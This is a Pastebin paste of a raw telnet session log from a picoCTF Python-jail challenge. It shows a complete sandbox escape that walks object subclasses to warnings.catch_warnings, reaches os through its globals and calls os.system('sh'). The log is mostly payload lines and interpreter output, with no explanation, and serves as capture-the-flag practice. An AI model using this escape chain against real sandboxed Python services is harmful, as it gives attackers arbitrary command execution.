Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- $ telnet python.picoctf.com 6365
- Trying 54.225.160.250...
- Connected to python.picoctf.com.
- Escape character is '^]'.
- Get a shell, if you can...
- __builtins__[0]=[x for x in ().__class__.__bases__[0].__subclasses() if x.__name__ == "catch_warnings"]
- Exception: unexpected EOF while parsing (<string>, line 1)
- __builtins__[0]=().__class__.__bases__[0].__subclasses()
- Exception: type object 'object' has no attribute '__subcla'
- __builtins__[0]=().__class__.__bases__[0]
- Return Value: <type 'object'>
- __builtins__[0]=__builtins__[0].__subclasses__()
- Return Value: [<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <type 'pwd.struct_passwd'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]
- __builtins__[0]=[x for x in __builtins__[0] if x.__name__=="catch_warnings"]
- Exception: unexpected EOF while parsing (<string>, line 1)
- __builtins__[0]
- Return Value: [<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <type 'pwd.struct_passwd'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]
- __builtins__[1]="catch_warnings"
- Return Value: catch_warnings
- __builtins__[0]=[x for x in __builtins__[0] if x.__name__==__builtins__[1]]
- Exception: unexpected EOF while parsing (<string>, line 1)
- __builtins__[0]
- Return Value: [<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <type 'pwd.struct_passwd'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]
- __builtins__[1]=__builtins__[0][54]
- Return Value: <class '_weakrefset._IterationGuard'>
- __builtins__[1]=__builtins__[0][53]
- Exception: invalid syntax (<string>, line 1)
- __builtins__[1]=__builtins__[0][54]
- Return Value: <class '_weakrefset._IterationGuard'>
- __builtins__[1]=__builtins__[0][55]
- Return Value: <class '_weakrefset.WeakSet'>
- __builtins__[1]=__builtins__[0][56]
- Return Value: <class '_abcoll.Hashable'>
- __builtins__[1]=__builtins__[0][57]
- Return Value: <type 'classmethod'>
- __builtins__[1]=__builtins__[0][58]
- Return Value: <class '_abcoll.Iterable'>
- __builtins__[1]=__builtins__[0][59]
- Return Value: <class '_abcoll.Sized'>
- __builtins__[1]=__builtins__[0][60]
- Return Value: <class '_abcoll.Container'>
- __builtins__[1]=__builtins__[0][70]
- Return Value: <class 'codecs.IncrementalDecoder'>
- __builtins__[1]=__builtins__[0][65]
- Return Value: <type '_sre.SRE_Match'>
- __builtins__[1]=__builtins__[0][61]
- Return Value: <class '_abcoll.Callable'>
- __builtins__[1]=__builtins__[0][62]
- Return Value: <class 'site._Printer'>
- __builtins__[1]=__builtins__[0][63]
- Return Value: <class 'site._Helper'>
- __builtins__[1]=__builtins__[0][64]
- Return Value: <type '_sre.SRE_Pattern'>
- __builtins__[1]=__builtins__[0][66]
- Return Value: <type '_sre.SRE_Scanner'>
- __builtins__[1]=__builtins__[0][67]
- Return Value: <type 'pwd.struct_passwd'>
- __builtins__[1]=__builtins__[0][68]
- Return Value: <class 'site.Quitter'>
- __builtins__[1]=__builtins__[0][69]
- Return Value: <class 'codecs.IncrementalEncoder'>
- __builtins__[1]=__builtins__[0][71]
- Exception: list index out of range
- __builtins__[1]=__builtins__[0][72]
- Exception: list index out of range
- __builtins__[1]=__builtins__[0][54]
- Return Value: <class '_weakrefset._IterationGuard'>
- __builtins__[1]=__builtins__[0][53]
- Return Value: <class 'warnings.catch_warnings'>
- __builtins__[2]=__builtins__[1].__init__
- Return Value: <unbound method catch_warnings.__init__>
- __builtins__[3]=__builtins__[2].func_globals
- Return Value: {'filterwarnings': <function filterwarnings at 0x7f7767694a28>, 'once_registry': {}, 'WarningMessage': <class 'warnings.WarningMessage'>, '_show_warning': <function _show_warning at 0x7f77676949b0>, 'filters': [('ignore', None, <type 'exceptions.DeprecationWarning'>, None, 0), ('ignore', None, <type 'exceptions.PendingDeprecationWarning'>, None, 0), ('ignore', None, <type 'exceptions.ImportWarning'>, None, 0), ('ignore', None, <type 'exceptions.BytesWarning'>, None, 0)], '_setoption': <function _setoption at 0x7f7767694c80>, 'showwarning': <function _show_warning at 0x7f77676949b0>, '__all__': ['warn', 'showwarning', 'formatwarning', 'filterwarnings', 'resetwarnings', 'catch_warnings'], 'onceregistry': {}, '__package__': None, 'simplefilter': <function simplefilter at 0x7f7767694b18>, 'default_action': 'default', '_getcategory': <function _getcategory at 0x7f7767694d70>, '__builtins__': {0: [<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <type 'pwd.struct_passwd'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>], 1: <class 'warnings.catch_warnings'>, 2: <unbound method catch_warnings.__init__>, 3: {...}}, 'catch_warnings': <class 'warnings.catch_warnings'>, '__file__': '/usr/lib/python2.7/warnings.pyc', 'warnpy3k': <function warnpy3k at 0x7f7767694aa0>, 'sys': <module 'sys' (built-in)>, '__name__': 'warnings', 'warn_explicit': <built-in function warn_explicit>, 'types': <module 'types' from '/usr/lib/python2.7/types.pyc'>, 'warn': <built-in function warn>, '_processoptions': <function _processoptions at 0x7f7767694c08>, 'defaultaction': 'default', '__doc__': 'Python part of the warnings subsystem.', 'linecache': <module 'linecache' from '/usr/lib/python2.7/linecache.pyc'>, '_OptionError': <class 'warnings._OptionError'>, 'resetwarnings': <function resetwarnings at 0x7f7767694b90>, 'formatwarning': <function formatwarning at 0x7f7767694938>, '_getaction': <function _getaction at 0x7f7767694cf8>}
- __builtins__[2]
- Return Value: <unbound method catch_warnings.__init__>
- __builtins__[3]
- Return Value: {'filterwarnings': <function filterwarnings at 0x7f7767694a28>, 'once_registry': {}, 'WarningMessage': <class 'warnings.WarningMessage'>, '_show_warning': <function _show_warning at 0x7f77676949b0>, 'filters': [('ignore', None, <type 'exceptions.DeprecationWarning'>, None, 0), ('ignore', None, <type 'exceptions.PendingDeprecationWarning'>, None, 0), ('ignore', None, <type 'exceptions.ImportWarning'>, None, 0), ('ignore', None, <type 'exceptions.BytesWarning'>, None, 0)], '_setoption': <function _setoption at 0x7f7767694c80>, 'showwarning': <function _show_warning at 0x7f77676949b0>, '__all__': ['warn', 'showwarning', 'formatwarning', 'filterwarnings', 'resetwarnings', 'catch_warnings'], 'onceregistry': {}, '__package__': None, 'simplefilter': <function simplefilter at 0x7f7767694b18>, 'default_action': 'default', '_getcategory': <function _getcategory at 0x7f7767694d70>, '__builtins__': {0: [<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <type 'pwd.struct_passwd'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>], 1: <class 'warnings.catch_warnings'>, 2: <unbound method catch_warnings.__init__>, 3: {...}}, 'catch_warnings': <class 'warnings.catch_warnings'>, '__file__': '/usr/lib/python2.7/warnings.pyc', 'warnpy3k': <function warnpy3k at 0x7f7767694aa0>, 'sys': <module 'sys' (built-in)>, '__name__': 'warnings', 'warn_explicit': <built-in function warn_explicit>, 'types': <module 'types' from '/usr/lib/python2.7/types.pyc'>, 'warn': <built-in function warn>, '_processoptions': <function _processoptions at 0x7f7767694c08>, 'defaultaction': 'default', '__doc__': 'Python part of the warnings subsystem.', 'linecache': <module 'linecache' from '/usr/lib/python2.7/linecache.pyc'>, '_OptionError': <class 'warnings._OptionError'>, 'resetwarnings': <function resetwarnings at 0x7f7767694b90>, 'formatwarning': <function formatwarning at 0x7f7767694938>, '_getaction': <function _getaction at 0x7f7767694cf8>}
- __builtins__[4]=__builtins__[3]["linecache"]
- Return Value: <module 'linecache' from '/usr/lib/python2.7/linecache.pyc'>
- __builtins__[5]=__builtins__[4].os
- Return Value: <module 'os' from '/usr/lib/python2.7/os.pyc'>
- __builtins__[5].system("sh")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement